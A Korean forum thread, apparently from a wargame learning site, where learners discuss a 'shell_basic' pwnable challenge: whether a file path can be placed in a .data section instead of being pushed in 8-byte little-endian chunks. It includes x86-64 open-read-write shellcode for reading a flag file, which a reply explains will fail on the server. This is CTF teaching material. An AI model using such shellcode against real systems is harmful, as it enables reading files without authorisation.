파일 경로를 일일이 8바이트씩 끊어서 푸시하는 것...

파일 경로를 리틀엔디안으로 8바이트씩 끊어서 push 하는 것 대신 .data 섹션을 이용하는 방법은 없을까요?

#pwnable
작성자 정보
답변 4
avatar
wyv3rn
무플 방지 위원회장

이미 저장된 문자열을 이용하고싶다는 말씀으신가요?

2023.06.30. 05:50
avatar
wyv3rn
무플 방지 위원회장

음... 가능하긴 할 것 같습니다만,
결국은 .data 영역에 해당 파일 명이나 path를 저장해야하는데 이 문제에서는 이 또한 바이너리로 값을 넣어줘야되지 않을까요?

2023.06.30. 11:10
밉찬
대표 업적 없음

; File name: ex.asm
section .data
path db "/home/shell_basic/flag_name_is_loooooong", 0

section .text
global _start
_start:
mov rdi, path ; file name
xor rsi, rsi ; null
xor rdx, rdx ; null
mov rax, 2 ; syscall number (open)
syscall ; open
mov rdi, rax ; fd
sub rsp, 0x50 ; create buf
mov rsi, rsp ; buf
mov rdx, 0x50 ; count
xor rax, rax ; syscall number (read)
syscall ; read
mov rdi , 0x01 ; fd
mov rax, 0x01 ; syscall number (write)
syscall

이렇게 작성해보았는데, 뭐가 문제인지 알 수 있을까요..??

2023.06.30. 12:56
avatar
wyv3rn
무플 방지 위원회장

section .data
path db “/home/shell_basic/flag_name_is_loooooong”, 0

이걸 전달하면 이건 어디 들어가있을지 생각하시면 될 것 같은데요?

제 생각에는 결국 서버에서 실행중인 바이너리의 스택에 있을 것 같네요.

작성하신 어셈 코드는 텍스트 영역을 만들고 거기 스트링을 담아놨다가 mov rdi path 시 path의 주소를 가져오겠지만, 서버에서 path의 주소를 못찾지 않을까요?

2023.07.01. 13:41
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기